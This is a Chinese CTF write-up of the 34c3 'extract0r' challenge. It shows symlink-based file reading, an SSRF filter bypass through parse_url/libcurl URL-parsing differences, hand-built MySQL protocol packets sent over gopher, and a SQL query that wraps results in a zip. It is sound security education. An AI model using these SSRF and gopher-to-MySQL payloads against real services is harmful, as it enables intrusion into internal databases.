原标题:从一道CTF题目看Gopher攻击MySql

前言

虽然比赛过程中没做出来,结束后仔细研究了一下。感觉很有意思,分享给大家。再次体会到重要的不是结果,而是研究的过程。

题目简介

34c3CTF web中的extract0r。

题中的目是一个安全解压服务,用户输入zip的url地址,程序对url进行合法性校验后会下载该zip,然后为用户创建一个目录,把文件解压进去

0×00 任意文件读取

经过测试,发现输入的域名中不能含有数字,并且压缩文件中不能含有目录,解压后的目录不解析php。通过上传一个含有符号链接文件的压缩包,可以达到任意文件读取的效果。

ln -s ../index.php test_link 7za a -t7z -r test.7z test

上传后访问test_link得到源代码

index.php (html部分已删去) 1024*10) { return "Archive's total uncompressed size exceeds 10KB"; } if ($file_cnt === 0) { return "Archive is empty"; } if ($file_cnt > 5) { return "Archive contains more than 5 files"; } return 0; } function verify_extracted($directory) { //遍历解压后的目录下的所有文件 $files = glob($directory . '/*'); $cntr = 0; foreach($files as $file) { if (!is_file($file)) { //如果不是文件就删除 $cntr++; unlink($file); @rmdir($file); } } return $cntr; } function decompress($s) { $directory = get_directory(true); $archive = tempnam("/tmp/", "archive_"); file_put_contents($archive, $s); $error = verify_archive($archive); if ($error) { unlink($archive); error($error); } shell_exec("7z e ". escapeshellarg($archive) . " -o" . escapeshellarg($directory) . " -y"); unlink($archive); return verify_extracted($directory); } function error($s) { clear_directory(); die("ERROR " . htmlspecialchars($s)); } $msg = ""; if (isset($_GET["url"])) { $page = get_contents($_GET["url"]); if (strlen($page) === 0) { error("0 bytes fetched. Looks like your file is empty."); } else { $deleted_dirs = decompress($page); $msg = "Done! Your files were extracted if you provided a valid archive."; if ($deleted_dirs > 0) { $msg .= "WARNING: we have deleted some folders from your archive for security reasons with our cyber-enabled filtering system!"; } } } ?> url.php > (32-$mask)) << (32-$mask)); } function get_port($url_parts) { if (array_key_exists("port", $url_parts)) { return $url_parts["port"]; } else if (array_key_exists("scheme", $url_parts)) { return $url_parts["scheme"] === "https" ? 443 : 80; } else { return 80; } } function clean_parts($parts) { // oranges are not welcome here $blacklisted = "/[ \x08\x09\x0a\x0b\x0c\x0d\x0e:\d]/"; if (array_key_exists("scheme", $parts)) { $parts["scheme"] = preg_replace($blacklisted, "", $parts["scheme"]); } if (array_key_exists("user", $parts)) { $parts["user"] = preg_replace($blacklisted, "", $parts["user"]); } if (array_key_exists("pass", $parts)) { $parts["pass"] = preg_replace($blacklisted, "", $parts["pass"]); } if (array_key_exists("host", $parts)) { $parts["host"] = preg_replace($blacklisted, "", $parts["host"]); } return $parts; } function rebuild_url($parts) { $url = ""; $url .= $parts["scheme"] . "://"; $url .= !empty($parts["user"]) ? $parts["user"] : ""; $url .= !empty($parts["pass"]) ? ":" . $parts["pass"] : ""; $url .= (!empty($parts["user"]) || !empty($parts["pass"])) ? "@" : ""; $url .= $parts["host"]; $url .= !empty($parts["port"]) ? ":" . (int) $parts["port"] : ""; $url .= !empty($parts["path"]) ? "/" . substr($parts["path"], 1) : ""; $url .= !empty($parts["query"]) ? "?" . $parts["query"] : ""; $url .= !empty($parts["fragment"]) ? "#" . $parts["fragment"] : ""; return $url; } function get_contents($url) { $disallowed_cidrs = [ "127.0.0.0/8", "169.254.0.0/16", "0.0.0.0/8", "10.0.0.0/8", "192.168.0.0/16", "14.0.0.0/8", "24.0.0.0/8", "172.16.0.0/12", "191.255.0.0/16", "192.0.0.0/24", "192.88.99.0/24", "255.255.255.255/32", "240.0.0.0/4", "224.0.0.0/4", "203.0.113.0/24", "198.51.100.0/24", "198.18.0.0/15", "192.0.2.0/24", "100.64.0.0/10" ]; for ($i = 0; $i < 5; $i++) { $url_parts = clean_parts(parse_url($url)); if (!$url_parts) { error("Couldn't parse your url!"); } if (!array_key_exists("scheme", $url_parts)) { error("There was no scheme in your url!"); } if (!array_key_exists("host", $url_parts)) { error("There was no host in your url!"); } $port = get_port($url_parts); $host = $url_parts["host"]; $ip = gethostbynamel($host)[0]; if (!filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_IPV4|FILTER_FLAG_NO_PRIV_RANGE|FILTER_FLAG_NO_RES_RANGE)) { error("Couldn't resolve your host '{$host}' or the resolved ip '{$ip}' is blacklisted!"); } foreach ($disallowed_cidrs as $cidr) { if (in_cidr($cidr, $ip)) { error("That IP is in a blacklisted range ({$cidr})!"); } } // all good, rebuild url now $url = rebuild_url($url_parts); $curl = curl_init(); curl_setopt($curl, CURLOPT_URL, $url); curl_setopt($curl, CURLOPT_RETURNTRANSFER, true); curl_setopt($curl, CURLOPT_MAXREDIRS, 0); curl_setopt($curl, CURLOPT_TIMEOUT, 3); curl_setopt($curl, CURLOPT_CONNECTTIMEOUT, 3); curl_setopt($curl,CURLOPT_SAFE_UPLOAD,0); curl_setopt($curl, CURLOPT_RESOLVE, array($host . ":" . $port . ":" . $ip)); //加一条缓存,防止dns rebinding curl_setopt($curl, CURLOPT_PORT, $port); $data = curl_exec($curl); if (curl_error($curl)) { error(curl_error($curl)); } $status = curl_getinfo($curl, CURLINFO_HTTP_CODE); if ($status >= 301 and $status <= 308) { $url = curl_getinfo($curl, CURLINFO_REDIRECT_URL); } else { return $data; } } error("More than 5 redirects!"); }

简要分析代码流程

经rebirth提醒,可以使用以.开头的文件来绕过verify_extracted中对链接目录的检测。ln -s / .a把.a打包上传即可。这里是因为glob($dir . '/*');*遍历不到以.开头的文件。故绕过了对文件类型的检测,成功了链接到了根目录。

翻一翻目录会发现:/home/extract0r/create_a_backup_of_my_supersecret_flag.sh

这里创建了一个空密码的mysql用户,并且flag就在数据库中。之前已经有利用gopher协议攻击redis、fastcgi等的案例。我们可以试着利用gopher攻击一下mysql。这里有两个要点

绕过ip检查,实现ssrf

研究mysql协议,构造payload0×01 SSRF

通过代码逻辑我们可知

url->php parse_url(过滤ip)->过滤url各部分(空白字符和数字)->curl发送请求

这里可利用parse_url和libcurl对url解析的差异来绕过。经过测试,得出以下结论(我本地环境php 7.0.20-2 libcurl/7.52.1)

完整url: scheme:[//[user[:password]@]host[:port]][/path][?query][#fragment] 这里仅讨论url中不含'?'的情况 php parse_url: host: 匹配最后一个@后面符合格式的host libcurl: host:匹配第一个@后面符合格式的host 如: http://u:p@a.com:80@b.com/ php解析结果: schema: http host: b.com user: u pass: p@a.com:80 libcurl解析结果: schema: http host: a.com user: u pass: p port: 80 后面的@b.com/会被忽略掉

那么我们可以构造出一个域名,让php解析出来的host是a.com,dns解析后ip不在黑名单,这样就绕过了黑名单检查。而libcurl实际请求时候是另外一个域名,这样我们就可以实现任意ip请求了。

fuzz一下后得到以下结果

http://u:p:@a.com:3306@b.com/

http://u:@a.com:3306@b.com/

都可以实现php解析出来是b.com 而curl实际请求a.com:3306

但此题目中php解析url后在clean_parts中过滤了空白字符和数字,所以以上url均不可用。

题目作者给出的url是:gopher://foo@[cafebabe.cf]@yolo.com:3306刚开始不太理解,后来@rebirth告诉我在rfc3986是这样定义url的:

A host identified by an Internet Protocol literal address, version 6 or later, is distinguished by enclosing the IP literal within square brackets (“[" and "]“). This is the only place where square bracket characters are allowed in the URI syntax.

IP-literal = “[" ( IPv6address / IPvFuture ) "]”

也就是说[ip]是一种host的形式,libcurl在解析时候认为[]包裹的是host

另外ricter大佬的gopher://foo@localhost:f@ricterz.me:3306/在题目环境中是可用的,我本地不可用(题目的libcurl版本比我本地高)

0×02 mysql协议分析

研究的目的是为了构造出gopher连接mysql的payload,mysql协议分为4.0之前和4.0之后两个版本,这里仅讨论4.0之后的协议,mysql交互过程:

MySQL数据库用户认证采用的是挑战/应答的方式,服务器生成该挑战数(scramble)并发送给客户端,客户端用挑战数加密密码后返回相应结果,然后服务器检查是否与预期的结果相同,从而完成用户认证的过程。

登录时需要用服务器发来的scramble加密密码,但是当数据库用户密码为空时,加密后的密文也为空。client给server发的认证包就是相对固定的了。这样就无需交互,可以通过gopher协议来发送。

mysql数据包前需要加一个四字节的包头。前三个字节代表包的长度,第四个字节代表包序,在一次完整的请求/响应交互过程中,用于保证消息顺序的正确,每次客户端发起请求时,序号值都会从0开始计算。

1. 握手初始化报文(服务器 -> 客户端)

具体到抓包数据

4C0000//包大小76 小端字节序 00//序号0 0A//版本号 352E372E31382D3100//版本信息字符串,以\0结尾,内容为5.7.18-1 04000000//服务器线程id 6B69457B3C342E43//scramble前半部分8字节 00//固定0x00 FFF7//服务器权能标志低16位 用于与客户端协商通讯方式 08//字符集,08代表utf-8 0200//服务器状态 FF81//服务器权能标志高16位 15//挑战串长度 00000000000000000000//10字节0x00 固定填充 3A6A02314D2661447951577F00//scramble后半部分12字节 以null结尾 6D7973716C5F6E61746976655F70617373776F726400//密码加密方式,内容为mysql_native_password 对高版本来说没什么用 无视即可 2. 认证报文(客户端->服务器)

当用户密码为空时,认证包唯一的变量挑战认证数据为0×00(NULL),所以认证包就是固定的了,不需要根据server发来的初始化包来计算了

这里顺带提一下密码的算法为

hash1 = SHA1(password) //password是用户输入的密码 result = hash1 ^ sha1(scramble+sha1(hash1)) 3. 命令报文

命令报文相当简单

第一个字节表示当前命令的类型,比如0×02(切换数据库),0×03(SQL查询)后面的参数就是要执行的sql语句了。

4. 验证

经过分析,执行一句sql语句时,发送了两个packet(认证packet、命令packet) ,那么我们把两个packet一起发给server端,server就会响应给我们结果。 packet的构造参见上文协议格式,需要注意的是mysql协议是小端字节序。

这里我用socket做一个简单的测试,使用的是无密码用户,发送的sql语句是select now();

那么在php下,使用libcurl请求也是一样的

php的payload最后加了四个空字节,这是为了让server端解析第三个数据包时出错,断开与我们的连接。尽快返回数据,题目中curl的超时时间是3s

至此,我们完成了从gopher到sql执行。反观题目,这里需要curl得到的响应是可以被解压的。所以我们需要想办法把查出来的数据构造成压缩文件格式。

0×03 压缩文件格式

zip压缩算法压缩出来的文件一般包括四部分。

1.local file head 2.压缩后的Deflate数据 3.central directory file head 4.end of central directory record

经过测试,7z是可以成功解压一个格式合法的压缩文件的,即使是文件CRC错误,部分字段异常。

那么思路就来了,利用sql语句构造查询出zip的头和尾部,把我们想要的数据concat到中间的Deflate部分即可。(7z解压时候发现部分header异常,Deflate部分的数据会不经解压直接写入到解压后的文件)

形如

select concat(zip_header,(the sql we want to execute), zip_eof)

针对zip具体的构造,不在赘述,参见zip算法详解

这里我写了一个函数帮助我们创建

from struct import * def create_zip(filename, content_size): content = '-'*content_size filename = pack('

需要注意的是,zip的Deflate部分是保存文件压缩后的内容,zip格式又要求必须给出Deflate部分的大小。这里我们只需把查出数据保存在Deflate部分,并且根据查询结果的预期大小来指定Deflate部分的尺寸。

比如查询select version()时候Deflate大小20就够了。 这里给出一个sql大家可以自行测试

select concat(cast(0x504b03040a00000000000000000000000000e8030000e803000010000000746869735f69735f7468655f666c6167 as binary), rpad((select now()), 1000, '-'), cast(0x504b01021e030a00000000000000000000000000100000000000000000000000000000000000746869735f69735f7468655f666c6167504b0506000000000100010036000000640000000000 as binary)) into dumpfile '/tmp/test.zip';

这里的1000就是Deflate数据部分占用大小。 至此我们也就完成了sql语句的构造,可以通过sql查出一个压缩包格式的数据。并且解压后的文件内容就是查询结果。

那么梳理一下,先是通过符号链接,得到了一个没有密码的数据库用户。又通过parse_url和libcurl的解析差异,绕过了对ip的合法性校验,从而可以实现ssrf任意ip。又通过分析mysql协议,发现空密码用户可以直接构造出packet执行sql语句。最终我们只需要输入gopher://foo@[cafebabe.cf]@yolo.com:3306/_+(发送给mysql的packet)+(四个空字节)就可以得到结果。

0×04 利用

为了方便,我写了一个简单的mysql client,测试与mysql 的通信并生成payload。

输入后:

有兴趣的可以连接自己的mysql,dump出packet

0×05 总结

这道题目融合了很多知识点,测试中还是学到不少东西。尤其是题目脚本中防dns rebindingb部分。感谢rebirth提供的帮助,和其讨论让我收益良多。

Reference:

https://blog.chaitin.cn/gopher-attack-surfaces/

http://hutaow.com/blog/2013/11/06/mysql-protocol-analysis/#1

https://dev.mysql.com/doc/dev/mysql-server/latest/page_protocol_connection_phase.html

https://en.wikipedia.org/wiki/Gopher_(protocol

*本文作者:undef1ned,转载请注明来自FreeBuf.COM返回搜狐,查看更多

责任编辑:

gopher攻击mysql_从一道CTF题目看Gopher攻击MySql相关推荐

  1. 安卓逆向从入门到嗝屁之另一道CTF题目

    小伙伴发了一道安卓的CTF题目,有空就看了下: 首先,这次就先不装了,开个模拟器卡的一P,androidkiller.gda等无法打开,jeb正常打开(当然dex2jar打开dex文件,再用jd-gu ...

  2. ctf 监听端口_从一道ctf题目学到的绕过长度执行命令姿势 - 华域联盟|chu

    参考:https://blog.csdn.net/calmegm/article/details/80874902 https://www.leavesongs.com/SHARE/some-tric ...

  3. cmd执行命令不等待返回值_从一道ctf题目学到的绕过长度执行命令姿势

    0x01:linux中的 > 符号和 >> 符号 1.通过>来创建文件 >test.txtls 2.通过>将命令执行的结果存入文件中 echo "hell ...

  4. 从一道CTF题目学习Tanner图和LDPC

    概述   Tanner图是由Mr Tanner在1981在论文中提出来的,是研究低密度校验码的重要工具.   Tanner图表示的是 LDPC 的校验矩阵.Tanner图中的循环是由图中的一群相互连接 ...

  5. ctf xor题_从一道CTF题目谈PHP中的命令执行

    原创 Xenny 合天智汇 快睡的时候,打开B站发现有位用户留言,大意就是让我帮忙看一道题,正好当时有空,于是就打开了他发的链接,代码如下 很明显是一道PHP代码审计的题目,而且只需要绕过第三行的if ...

  6. ctf题目:看不见的flag_记一次江西省信息安全线下CTF比赛

    废话开篇 上学期,我在机房看红黑树的代码,被我们网络安全的老师看到了,于是就被拉去报名了信息安全的比赛,你们可能会很迷惑,写红黑树的代码和信息安全比赛有什么关系,我也这样想的,这有什么关系.. 当时报 ...

  7. mysql is fashion ctf_一道CTF题引发的思考-MySQL的几个特性(续)

    0x00 背景 这两天处于转牛角尖的状态,非常不好.但是上一篇的中提到的问题总算是总结了些东西. 0x01 测试过程 (1)测试环境情况:创建了如下测试表test, mysql> select ...

  8. 由一道题目看抽象向量组的线性相关问题

    由一道题目看抽象向量组的线性相关问题 @(数学) 方法:观察法 || 定理 ||过渡矩阵 已知向量组α1,α2,α3\alpha_1,\alpha_2,\alpha_3线性无关,则下面的向量组线性相关 ...

  9. ctf赛题上传一个php木马,从一道CTF题学习PHP反序列化漏洞

    一.CTF题目 前阵子,参加了一个CTF比赛,其中有一条道题蛮有意思的,所以写出来分享一下. 此题利用了PHP的反序列化漏洞,通过构造特殊的Payload绕过__wakeup()魔术方法,从而实现注入 ...

  10. angr-example(解CTF题目)

    0x0 废话 emmm,总之就是官方给的examples啦.持续更新... 链接:https://docs.angr.io/examples 0x1 defcamp_r100 angr在CTF中最常见 ...

最新文章

  1. 2022-2028年中国城市地下综合管廊建设深度调研及投资前景预测报告
  2. ubuntu 突然不能 sudo成功,报错su: Authentication failure
  3. RHEL6下squid代理之正向代理
  4. 98.512X4位的芯片,要怎么组成4K的存储空间要用多少个芯片级联?具体用多少引脚?
  5. 苹果CMS10|粉色视频站模版|YMYS007|魅力社
  6. 斐波那契数列n项的值。(递归和非递归算法Golang实现)
  7. FZU1977 Pandora adventure —— 插头DP
  8. oracle 数据迁移跑批,Oracle数据库纯数据的导出与导入
  9. VB实现人民币大小写金额转换
  10. python下载安装教程(详细步骤+图示)
  11. DelphiXe3 FireMonkey 如何画图
  12. NOIP总结与反思及对今后的期望
  13. Excel/WPS做数据透视表,即对变量做交叉汇总(列联表)
  14. 神经网络Loss损失函数总结
  15. 不健康的生活终于让身体有了反应
  16. oracle内存管理模式amm,【读书笔记】ORACLE 内存管理
  17. 关于python内置雅虎内置财经接口
  18. c++实现鼠标连点器
  19. 基于微信小程序的教室管理系统_北邮信通院大二下程序设计综合实验
  20. 天池长期赛-测测你的一见钟情指数-排名第1

热门文章

  1. 米家小相机最新固件_不到1000元的米家小相机 都有哪些缺点
  2. npm WARN deprecated bfj-node4@5.3.1: Switch to the `bfj` package for fixes and new features
  3. 【论文阅读-表情捕捉】High-quality Real Time Facial Capture Based on Single Camera
  4. spring MVC3 集成 freemarker
  5. 上海大学生网络安全大赛 web write up
  6. 如何刷新微信服务器小程序版本,微信小程序线上更新版本流程及如何运用
  7. js 实现购物车加减全选
  8. 遗传算法(GA)解决MTSP问题及Matlab代码
  9. Saliency Detection: A Spectral Residual Approach 阅读笔记
  10. vue 路由守卫 解析